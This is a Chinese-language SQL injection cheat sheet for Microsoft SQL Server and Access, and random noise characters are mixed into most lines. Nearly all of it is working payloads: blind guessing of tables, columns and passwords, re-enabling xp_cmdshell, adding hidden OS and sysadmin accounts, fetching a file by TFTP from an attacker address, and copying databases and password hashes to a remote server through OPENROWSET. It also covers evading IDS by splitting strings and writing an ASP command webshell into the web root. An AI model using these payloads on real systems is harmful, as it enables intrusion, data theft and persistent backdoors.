1..判断有无注入点 5 e0 i/ ~: P( T8 g j2 d
; and 1=1 and 1=2
( H1 i- J, }" W3 Z& Q( V4 q5 M. M) C3 y
7 X' W( t0 ~: s/ N* @2.猜表一般的表的名称无非是admin adminuser user pass password 等.. 1 {, Y) g9 e8 l, e/ M9 ^ R7 [8 T
and 0<>(select count(*) from *)
# Y3 z* y0 C" H0 @and 0<>(select count(*) from admin) ---判断是否存在admin这张表 ; C7 d+ t6 A) K3 m
0 }( K! ?8 K+ A0 |2 T, s$ q8 q5 x9 q' N; @2 y" v
3.猜帐号数目 如果遇到0< 返回正确页面 1<返回错误页面说明帐号数目就是1个
g" Z0 l: F6 V& P1 U- ^and 0<(select count(*) from admin) . G' \0 q# {# W' \7 I6 E
and 1<(select count(*) from admin)
( f! G( a# _- K& d猜列名还有 and (select count(列名) from 表名)>0/ L5 y( l, a: P( q( ]# s
1 W! A; e7 ?3 R; _& Z. |% B, w
% c3 K2 p) X+ f8 Y, Y
4.猜解字段名称 在len( ) 括号里面加上我们想到的字段名称.
8 m2 W1 l2 O' i4 ?9 O. u3 z# [3 Yand 1=(select count(*) from admin where len(*)>0)--
0 q W5 ^' y6 _& Pand 1=(select count(*) from admin where len(用户字段名称name)>0) 7 c6 G4 P" C% a J7 q0 o- c
and 1=(select count(*) from admin where len(密码字段名称password)>0)
8 O5 x, w" v k7 _. q, |' O& @- X: G4 T' P8 Y5 Y# W: C6 r/ P
5.猜解各个字段的长度 猜解长度就是把>0变换 直到返回正确页面为止
2 h3 l6 C* l3 } ^, o( `2 L$ gand 1=(select count(*) from admin where len(*)>0)
+ v$ ^. q4 C' R* I" Band 1=(select count(*) from admin where len(name)>6) 错误
/ z- A$ q$ }* I' u9 Hand 1=(select count(*) from admin where len(name)>5) 正确 长度是6
, y" G- _* ?2 T8 T3 L# P% P& A# \and 1=(select count(*) from admin where len(name)=6) 正确 8 M w( E% ]) G% v/ j3 \
6 E+ t7 i+ |7 q3 j, }+ W- Zand 1=(select count(*) from admin where len(password)>11) 正确 7 o7 t- R) B2 L& q' a
and 1=(select count(*) from admin where len(password)>12) 错误 长度是12
$ L9 o% A% F' ?- y! h6 Sand 1=(select count(*) from admin where len(password)=12) 正确
% o$ ^* c2 Q! ^" x6 z9 H- Q5 C5 ^猜长度还有 and (select top 1 len(username) from admin)>5: O% i9 |- X' ?' m. [
) a; Y5 R. v1 I; H- J
V L+ P3 v, ^- O4 T' A
6.猜解字符 4 C1 `6 U9 X( h
and 1=(select count(*) from admin where left(name,1)=a) ---猜解用户帐号的第一位 8 v) z( o) |9 D0 v
and 1=(select count(*) from admin where left(name,2)=ab)---猜解用户帐号的第二位 6 O' Y* g* a# S/ z# _
就这样一次加一个字符这样猜,猜到够你刚才猜出来的多少位了就对了,帐号就算出来了 6 g2 w2 |) p) w# K4 [& i
' L- {6 p. g/ l1 U4 u猜内容还有 and (select top 1 asc(mid(password,1,1)) from admin)>50 用ASC码算
9 T$ w$ s5 {- b) Sand 1=(select top 1 count(*) from Admin where Asc(mid(pass,5,1))=51) -- $ P& Y1 S. C" E" n; a, t' G: q
这个查询语句可以猜解中文的用户和密码.只要把后面的数字换成中文的ASSIC码就OK.最后把结果再转换成字符.
% z" v! a7 M% [' d. U7 j% P5 D( [* C$ y! }
group by users.id having 1=1--
1 _2 A- X) _- b: t. Z g7 R0 C8 agroup by users.id, users.username, users.password, users.privs having 1=1--
9 s) H/ p+ @2 q; Z; t& m! x0 k* M# }; insert into users values( 666, attacker, foobar, 0xffff )--
& h4 E: l7 t: |) B; f
4 D' H* _- I6 L: [# w! AUNION SELECT TOP 1 列名 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=logintable- - e+ Z" O: ^5 J/ B; | g
UNION SELECT TOP 1 列名 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=logintable WHERE 列名 NOT IN (login_id)-
5 \- Q& i" o' p6 b9 UUNION SELECT TOP 1 列名 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=logintable WHERE 列名 NOT IN (login_id,login_name)-
8 ^$ W/ J# E4 W. s) \" y* C) U, xUNION SELECT TOP 1 login_name FROM logintable- 6 C: `1 Y+ y; x' p& t2 l& l
UNION SELECT TOP 1 password FROM logintable where login_name=Rahul-- 1 P- |3 `2 g8 } k8 W
& e9 M' L6 `8 Y4 H看服务器打的补丁=出错了打了SP4补丁
' V5 |: w2 x( f! b3 pand 1=(select @@VERSION)-- # S# T9 S/ _* R" ^. a) o0 }
& y6 ?8 W" ^' Q& O# {, n' G& a
看数据库连接账号的权限,返回正常,证明是服务器角色sysadmin权限。
3 f: Z# B5 h6 v# ^; Q4 T# T% Nand 1=(SELECT IS_SRVROLEMEMBER(sysadmin))-- ; `7 ?* t( c K) h7 D! n8 N
/ o* r* W) g/ t3 s6 Y2 m, m
判断连接数据库帐号。(采用SA账号连接 返回正常=证明了连接账号是SA) 7 U9 L6 w: M# N
and sa=(SELECT System_user)-- - ], L- ^4 F9 \3 k: k
and user_name()=dbo--
+ S4 m9 p& _5 g: w7 g% i4 r3 Sand 0<>(select user_name()--
% O3 Z2 V* \$ S$ F
0 E6 Z1 o# X7 ?- c. _& w看xp_cmdshell是否删除
& I8 V v9 W, L/ I: w, Jand 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = X AND name = xp_cmdshell)-- 4 @4 q' B: ?- X* p
# r- l( `: S- S2 p- Q! f; S% {
xp_cmdshell被删除,恢复,支持绝对路径的恢复
* {0 x# _- g/ x5 R$ Q+ O: y6 z;EXEC master.dbo.sp_addextendedproc xp_cmdshell,xplog70.dll-- / \1 |; t: }0 I% G3 _0 |" v4 {
;EXEC master.dbo.sp_addextendedproc xp_cmdshell,c:\inetpub\wwwroot\xplog70.dll--
; H. }. b" k2 L& G. I
9 k5 }8 X- ]9 l. K8 T7 s反向PING自己实验 ! r& I" J. |+ W) i8 t" j4 i2 F6 G
;use master;declare @s int;exec sp_oacreate "wscript.shell",@s out;exec sp_oamethod @s,"run",NULL,"cmd.exe /c ping 192.168.0.1";--
5 H$ a& Z" d. h. V% X
* C( z Y- h; y5 J8 ?加帐号 7 r' g3 U9 ~& W' F/ Q' O
;DECLARE @shell INT EXEC SP_OACREATE wscript.shell,@shell OUTPUT EXEC SP_OAMETHOD @shell,run,null, C:\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add-- $ f! I5 |; q9 M: x( z
9 @! S4 g6 V* ?/ I, t& y+ v" p4 @. H
创建一个虚拟目录E盘:
8 J: X) a( X) ~- N1 j+ I) T4 ];declare @o int exec sp_oacreate wscript.shell, @o out exec sp_oamethod @o, run, NULL, cscript.exe c:\inetpub\wwwroot\mkwebdir.vbs -w "默认Web站点" -v "e","e:\"-- ; g& M1 q7 ~# z$ H0 o9 u
. H5 y, L, v/ v访问属性:(配合写入一个webshell)
! P8 w* E/ [" Q& L h. b, w( P+ Wdeclare @o int exec sp_oacreate wscript.shell, @o out exec sp_oamethod @o, run, NULL, cscript.exe c:\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse 8 v' L( ?2 j, P; X6 D8 h9 u. K: l
- ~* ~2 W i. W, W
. X! W' n3 S) R+ _! T- F
MSSQL也可以用联合查询% o1 b7 c& e- m# f9 A- C
?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin
& G$ j) q0 {" [9 n; Z9 E, L?id=-1 union select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 from admin (union,access也好用)
" c4 E8 V4 h- Z" y4 i8 |# R! _3 f4 n. o
* d" K$ t% H9 ]2 N
爆库 特殊技巧:%5c=\ 或者把/和\ 修改%5提交
9 x% [9 a$ S0 ~5 u3 \, q) C l* u. c0 l n: t6 v1 S; `/ Y
! ^+ U; `% O9 c8 q* F- p/ ~
% g) {" ]' Z% H& w% C/ `得到WEB路径
4 R# x; Z+ c$ N. s3 H;create table [dbo].[swap] ([swappass][char](255));-- r ^6 C6 ^3 h( p: B) r: c
and (select top 1 swappass from swap)=1--
" N' ]9 @+ \8 r6 g;CREATE TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare @test varchar(20) exec master..xp_regread @rootkey=HKEY_LOCAL_MACHINE, @key=SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\, @value_name=/, values=@test OUTPUT insert into paths(path) values(@test)--
3 v8 v8 Y; H* G) O! i0 r. A;use ku1;-- 2 v z, P$ y& [% U: c) A
;create table cmd (str image);-- 建立image类型的表cmd 6 X2 `! u1 ^; K* D1 C
- f( H" T9 v0 K存在xp_cmdshell的测试过程: ; m& ~9 h. z* ?2 u# u
;exec master..xp_cmdshell dir
0 |% y Y7 P5 u;exec master.dbo.sp_addlogin jiaoniang$;-- 加SQL帐号 3 `- Q& m, ^( u
;exec master.dbo.sp_password null,jiaoniang$,1866574;--
2 W( \- h0 i' U;exec master.dbo.sp_addsrvrolemember jiaoniang$ sysadmin;-- " y( C# ~! b2 z' k
;exec master.dbo.xp_cmdshell net user jiaoniang$ 1866574 /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add;--
3 C/ @ h: i. x8 b( |5 q+ J;exec master.dbo.xp_cmdshell net localgroup administrators jiaoniang$ /add;--
! f5 _$ t2 m0 b8 E' y/ Xexec master..xp_servicecontrol start, schedule 启动服务
0 }2 |4 P8 v/ O3 x$ K z5 Hexec master..xp_servicecontrol start, server
$ G, W, h0 u! t1 ?. ]* L5 S" q; DECLARE @shell INT EXEC SP_OACREATE wscript.shell,@shell OUTPUT EXEC SP_OAMETHOD @shell,run,null, C:\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add
$ i) p7 i( w$ u; `% |# ~" y;DECLARE @shell INT EXEC SP_OACREATE wscript.shell,@shell OUTPUT EXEC SP_OAMETHOD @shell,run,null, C:\WINNT\system32\cmd.exe /c net localgroup administrators jiaoniang$ /add 6 d: U" Y- o" O; w
; exec master..xp_cmdshell tftp -i youip get file.exe-- 利用TFTP上传文件 & p( A0 I# X9 x% y5 i
8 Q8 W: x, a' ]; x, ~$ g;declare @a sysname set @a=xp_+cmdshell exec @a dir c:\ 7 U1 c) Y( x" g
;declare @a sysname set @a=xp+_cm’+’dshell exec @a dir c:\
7 j% \4 s, Y9 u" @1 H y4 {;declare @a;set @a=db_name();backup database @a to disk=你的IP你的共享目录bak.dat $ t! \ N" ?) U1 [
如果被限制则可以。
* Z6 z( z* j! {) g3 J& S# s8 l# ]select * from openrowset(sqloledb,server;sa;,select OK! exec master.dbo.sp_addlogin hax) l6 Y. c; X- C# o8 U$ R( J5 _
& Q \, {3 z5 [" l% X& s查询构造: 1 j/ c z9 I+ b# _+ d
SELECT * FROM news WHERE id=... AND topic=... AND .....
. G2 K- T3 s8 x- Tadminand 1=(select count(*) from [user] where username=victim and right(left(userpass,01),1)=1) and userpass <> 8 ^+ m. n( R. G+ D, J/ P
select 123;-- 2 q2 D! D4 Q$ d# e; v2 ^/ |- c& r
;use master;-- 5 A, y T2 W, l7 M l; T
:a or name like fff%;-- 显示有一个叫ffff的用户哈。
3 D2 I( `# B* v9 h2 i' [+ Uand 1<>(select count(email) from [user]);-- Q/ R' A. m" A' |5 I* [) j
;update [users] set email=(select top 1 name from sysobjects where xtype=u and status>0) where name=ffff;--
/ J* {/ ^1 `# ^;update [users] set email=(select top 1 id from sysobjects where xtype=u and name=ad) where name=ffff;-- . k: [, H4 o/ A
;update [users] set email=(select top 1 name from sysobjects where xtype=u and id>581577110) where name=ffff;--
! K7 ? g5 A. o, _;update [users] set email=(select top 1 count(id) from password) where name=ffff;--
1 i+ c$ |) p5 o$ S& ~1 \;update [users] set email=(select top 1 pwd from password where id=2) where name=ffff;-- ) `0 }" V5 |9 f3 Z
;update [users] set email=(select top 1 name from password where id=2) where name=ffff;-- , W: L0 b y" Y6 x( k- o( G4 p+ m
上面的语句是得到数据库中的第一个用户表,并把表名放在ffff用户的邮箱字段中。
8 C! x/ D/ D) M' j- ]! J通过查看ffff的用户资料可得第一个用表叫ad
3 P$ t: m4 B! Y) y然后根据表名ad得到这个表的ID 得到第二个表的名字 9 [$ B% x1 i6 ?) w' l: O
$ l' _/ d) d$ @8 S
insert into users values( 666, char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), 0xffff)-- , h( y R( a- W3 o; h6 L5 W* [& c
insert into users values( 667,123,123,0xffff)-- 2 p! ~' B @' h' ]' L8 L. m" T! n
insert into users values ( 123, admin--, password, 0xffff)-- ! i" M! P" F) R: y* @. b) e. ~
;and user>0
! j3 K4 Q( R+ f! X;and (select count(*) from sysobjects)>0 & I* n- H( m& r9 w6 \
;and (select count(*) from mysysobjects)>0 //为access数据库
u9 z1 V# V* b! C# p8 o
! j# s1 o' j5 T/ o6 c& A枚举出数据表名
# m, I" r0 W& D$ T {;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0);-- 7 e* O( k. D/ j$ b
这是将第一个表名更新到aaa的字段处。 p8 [; a* Z0 V* L' l2 a# Y
读出第一个表,第二个表可以这样读出来(在条件后加上 and name<>刚才得到的表名)。 . o9 H+ U2 U0 g
;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0 and name<>vote);--
: ~% S+ \" W# b a! e! z$ c5 f然后id=1552 and exists(select * from aaa where aaa>5)
0 C( ]& @: G5 O( c4 P读出第二个表,一个个的读出,直到没有为止。
* }9 z' K4 v' s5 U J3 c1 C8 F; X) a读字段是这样:
% m) w9 Z$ g: _0 N$ Y- X5 T0 B;update aaa set aaa=(select top 1 col_name(object_id(表名),1));-- $ u q4 P) R/ b; S
然后id=152 and exists(select * from aaa where aaa>5)出错,得到字段名 5 U3 b. D3 h+ J/ r
;update aaa set aaa=(select top 1 col_name(object_id(表名),2));--
$ O* j0 t% k" p* Y3 X然后id=152 and exists(select * from aaa where aaa>5)出错,得到字段名 / i4 p+ R; Z! r1 ?$ w% Y
% K2 M/ r x) x7 H[获得数据表名][将字段值更新为表名,再想法读出这个字段的值就可得到表名] 1 s7 o e* F: X( ^/ I# r
update 表名 set 字段=(select top 1 name from sysobjects where xtype=u and status>0 [ and name<>你得到的表名 查出一个加一个]) [ where 条件] select top 1 name from sysobjects where xtype=u and status>0 and name not in(table1,table2,…) # _2 [) i, V' ~8 V8 G
通过SQLSERVER注入漏洞建数据库管理员帐号和系统管理员帐号[当前帐号必须是SYSADMIN组] : v' {# _3 l. S+ |2 b
# R4 t9 a5 _# Z. N, t
[获得数据表字段名][将字段值更新为字段名,再想法读出这个字段的值就可得到字段名]
) o; u# D& G2 o7 vupdate 表名 set 字段=(select top 1 col_name(object_id(要查询的数据表名),字段列如:1) [ where 条件]
: e) T: A3 o% E3 d3 [2 a# t0 S6 [" T# X% N% _2 n: g
绕过IDS的检测[使用变量] 6 e' |9 F( b8 i
;declare @a sysname set @a=xp_+cmdshell exec @a dir c:\ 7 m6 V/ y6 u; ~" ^3 I6 U. Y
;declare @a sysname set @a=xp+_cm’+’dshell exec @a dir c:\
% u9 q2 q1 x# B" c7 T. D. o$ x
c7 |0 x! A% r1、 开启远程数据库
. U( [- s- _. w7 \基本语法
% @) \0 {5 f$ n# _$ T# K- m; }select * from OPENROWSET(SQLOLEDB, server=servername;uid=sa;pwd=123, select * from table1 )
( ?1 d4 n7 I6 i5 ]参数: (1) OLEDB Provider name & G! {! s$ h1 z4 m! S2 d4 m
2、 其中连接字符串参数可以是任何端口用来连接,比如 & Q6 x2 ~; n; \, B1 s B7 [
select * from OPENROWSET(SQLOLEDB, uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;, select * from table
, {1 s* a3 D! R9 w; k( y' ~3.复制目标主机的整个数据库insert所有远程表到本地表。
, x! D" s/ r' y( {/ I, M" w! s, z
8 B! O8 D) B6 g8 Y4 p+ w9 ^' m基本语法: 0 P3 H# ~9 F$ @/ D& z
insert into OPENROWSET(SQLOLEDB, server=servername;uid=sa;pwd=123, select * from table1) select * from table2 , X: z: [8 [" Q+ h! N
这行语句将目标主机上table2表中的所有数据复制到远程数据库中的table1表中。实际运用中适当修改连接字符串的IP地址和端口,指向需要的地方,比如:
; M3 @0 r) b9 ?* y1 J/ ]6 I6 vinsert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table1) select * from table2
- X+ g D9 d' Y+ d3 M/ `7 r7 Hinsert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _sysdatabases) : f7 a" W7 }9 ^0 y! i% h
select * from master.dbo.sysdatabases ) R: s, i0 H: C$ _; n* r% q* b
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _sysobjects)
; T K+ K6 W! [; }! U* k" Gselect * from user_database.dbo.sysobjects 2 M- v/ H9 c- y/ W! h4 t5 D3 p
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _syscolumns)
. _8 y2 @' p; T& P) u7 a3 D- A# Nselect * from user_database.dbo.syscolumns ' |$ I3 \. Q: e
复制数据库: 6 q/ g# [/ \% B. }! Q/ `2 k* W
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table1) select * from database..table1 ; }6 T, H; J* m( ?: n
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table2) select * from database..table2
. O/ _; M! v: X- n8 l, T( R% _
! V1 N4 H& w( k# f" o& T复制哈西表(HASH)登录密码的hash存储于sysxlogins中。方法如下:
( V) U8 Q+ X9 X) cinsert into OPENROWSET(SQLOLEDB, uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _sysxlogins) select * from database.dbo.sysxlogins
% D; ^+ g D% X9 ~得到hash之后,就可以进行暴力破解。
4 L* Y' V' e, `) e% T( o
( ^( C @: ]) P9 ]" Q/ r遍历目录的方法: 先创建一个临时表:temp : k$ e( h' `$ N# c F% i1 U
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
* u8 I0 z0 w! i: R8 u6 H1 N;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 0 ~, i1 g1 L& K( s" J$ K
;insert into temp(id) exec master.dbo.xp_subdirs c:\;-- 获得子目录列表
4 W2 S4 v. y3 |/ M& q! A+ ~3 S0 g;insert into temp(id,num1) exec master.dbo.xp_dirtree c:\;-- 获得所有子目录的目录树结构,并寸入temp表中 # y4 B' h2 @/ q
;insert into temp(id) exec master.dbo.xp_cmdshell type c:\web\index.asp;-- 查看某个文件的内容 6 i9 t3 t: o0 J
;insert into temp(id) exec master.dbo.xp_cmdshell dir c:\;-- 9 ~7 \9 k4 ~0 T
;insert into temp(id) exec master.dbo.xp_cmdshell dir c:\ *.asp /s/a;-- + |# E; |: S0 q# j
;insert into temp(id) exec master.dbo.xp_cmdshell cscript C:\Inetpub\AdminScripts\adsutil.vbs enum w3svc
# v6 G5 D( Y& E' M- t;insert into temp(id,num1) exec master.dbo.xp_dirtree c:\;-- (xp_dirtree适用权限PUBLIC) 5 c- v z1 _' ^* B% a0 O. ^- ]
写入表:
5 A1 i! s- o1 s* S语句1:and 1=(SELECT IS_SRVROLEMEMBER(sysadmin));-- 8 S& u N0 N W! U* q$ r. F
语句2:and 1=(SELECT IS_SRVROLEMEMBER(serveradmin));-- ; O$ W0 N, m( C9 |9 ?
语句3:and 1=(SELECT IS_SRVROLEMEMBER(setupadmin));--
! t7 A; K8 U" T& b* y语句4:and 1=(SELECT IS_SRVROLEMEMBER(securityadmin));-- " H5 e' b) Q2 g% ]
语句5:and 1=(SELECT IS_SRVROLEMEMBER(securityadmin));--
, K( k" I/ Q7 Z2 s语句6:and 1=(SELECT IS_SRVROLEMEMBER(diskadmin));--
3 |' C& L. p$ m9 X# Y7 L* g) Z语句7:and 1=(SELECT IS_SRVROLEMEMBER(bulkadmin));--
+ k/ n7 b$ ]' b3 Z1 {" r! x语句8:and 1=(SELECT IS_SRVROLEMEMBER(bulkadmin));-- % b5 c3 Q* F" Z0 f) }) u' ?4 u6 u7 {
语句9:and 1=(SELECT IS_MEMBER(db_owner));--
3 B* e& i" x. }( D e: h
4 V5 ]; D( |# k2 z6 ^* c把路径写到表中去: * y9 [2 o0 y. D4 g8 i" `+ B( v8 l
;create table dirs(paths varchar(100), id int)--
8 J$ r% @, Z& h$ S- z;insert dirs exec master.dbo.xp_dirtree c:\-- % x. ?( u0 o7 q$ B! _3 e1 K. Y) }
and 0<>(select top 1 paths from dirs)-- 3 S# ?& }7 N0 h. Q7 i; w( z( R
and 0<>(select top 1 paths from dirs where paths not in(@Inetpub))--
' M; _1 _$ b' L; M+ X;create table dirs1(paths varchar(100), id int)--
7 M3 `' W. K. }* A;insert dirs exec master.dbo.xp_dirtree e:\web-- , L/ A' L5 Z# ~. K+ }
and 0<>(select top 1 paths from dirs1)-- $ r0 |$ Z8 N! \$ |! h- G$ ?' d/ {: o
5 T% R5 o' d7 G2 h4 j
把数据库备份到网页目录:下载
/ H+ X4 ? [# d2 c6 r- \2 A;declare @a sysname; set @a=db_name();backup database @a to disk=e:\web\down.bak;-- 8 {9 v* u. y K2 t8 K6 B
% z: I3 L7 o' {and 1=(Select top 1 name from(Select top 12 id,name from sysobjects where xtype=char(85)) T order by id desc)
$ w* ^+ q2 G6 L, q* A( Q7 Eand 1=(Select Top 1 col_name(object_id(USER_LOGIN),1) from sysobjects) 参看相关表。
: [2 s- r5 c5 }4 W: Yand 1=(select user_id from USER_LOGIN)
6 a9 u, ?. E$ I" e/ k6 t; {# Jand 0=(select user from USER_LOGIN where user>1)
( Z! ~* G. n/ ?( Q5 ~" r/ ~" M* ^; l! K3 z) V8 m% {: Z/ u
-=- wscript.shell example -=-
% R% T _4 A6 W4 Q5 T6 sdeclare @o int 4 C. X6 I( C# e2 R. Q, Z
exec sp_oacreate wscript.shell, @o out 1 \+ w4 V9 n- ?3 X
exec sp_oamethod @o, run, NULL, notepad.exe ( a4 a9 U4 K3 F9 }
; declare @o int exec sp_oacreate wscript.shell, @o out exec sp_oamethod @o, run, NULL, notepad.exe--
0 }( l5 ?0 O% ]! q1 L N, s
% r* O, K: \7 G4 [0 E) `- @declare @o int, @f int, @t int, @ret int
- ], i% C6 ]3 e5 P2 E: S+ Wdeclare @line varchar(8000) # m' g6 _8 H! y2 C! t3 c' G7 Y% a& W
exec sp_oacreate scripting.filesystemobject, @o out , m6 K3 ?$ s$ ~/ m# t1 ?
exec sp_oamethod @o, opentextfile, @f out, c:\boot.ini, 1 * G, H: ^; `: M. ?
exec @ret = sp_oamethod @f, readline, @line out ( ~7 p! B7 m6 N% k
while( @ret = 0 ) - }4 _2 a* E* A; T& F
begin # D. h, Q& N% _2 \7 E
print @line / H3 W' a& z. L) c4 M
exec @ret = sp_oamethod @f, readline, @line out
; @% A- U; \% d9 J$ ]$ [end
" J! H9 c# h- J# ]7 }( Q/ I2 q8 v7 r. t5 G& P9 L
declare @o int, @f int, @t int, @ret int ) M7 B. W" t9 g L) h
exec sp_oacreate scripting.filesystemobject, @o out
6 i6 @0 D7 G8 P; T5 Jexec sp_oamethod @o, createtextfile, @f out, c:\inetpub\wwwroot\foo.asp, 1
1 ?3 g" F2 D2 r F- z1 F" V" k9 kexec @ret = sp_oamethod @f, writeline, NULL,
, Z/ k5 T; C- } b4 s V<% set o = server.createobject("wscript.shell"): o.run( request.querystring("cmd") ) %> 9 A7 S1 G3 I) R
. }8 [# h4 T& ?% X& Adeclare @o int, @ret int 5 ]' X% u. @9 V- w3 d' }& \. u, \
exec sp_oacreate speech.voicetext, @o out
/ w( A; J/ D5 |. \5 j& o. p- A% Yexec sp_oamethod @o, register, NULL, foo, bar
: g5 B# R9 b; \2 D$ e3 ?exec sp_oasetproperty @o, speed, 150 + Z$ S7 L- V: Z7 _
exec sp_oamethod @o, speak, NULL, all your sequel servers are belong to,us, 528 # o' P( `$ f( t" M: y/ k5 o) ~ p* k2 ?
waitfor delay 00:00:05 ' Q5 T) W% M4 L* D4 R
! H8 ~5 A' C% D/ |3 k
; declare @o int, @ret int exec sp_oacreate speech.voicetext, @o out exec sp_oamethod @o, register, NULL, foo, bar exec sp_oasetproperty @o, speed, 150 exec sp_oamethod @o, speak, NULL, all your sequel servers are belong to us, 528 waitfor delay 00:00:05-- : Q# C' J" @6 v7 C/ r+ l
. Z$ x: O+ w4 H0 ~
xp_dirtree适用权限PUBLIC
% j/ @9 R& o% L) a- \4 q1 i3 zexec master.dbo.xp_dirtree c:返回的信息有两个字段subdirectory、depth。Subdirectory字段是字符型,depth字段是整形字段。 * H2 b$ P n* q) ~* r, |0 |) q
create table dirs(paths varchar(100), id int) ' I! O. L5 h3 C* }3 ^% }
建表,这里建的表是和上面xp_dirtree相关连,字段相等、类型相同。
! l) l( w9 W @; a/ ainsert dirs exec master.dbo.xp_dirtree c:只要我们建表与存储进程返回的字段相定义相等就能够执行!达到写表的效果,一步步达到我们想要的信息!
( X4 U# [1 Z! t: |; H |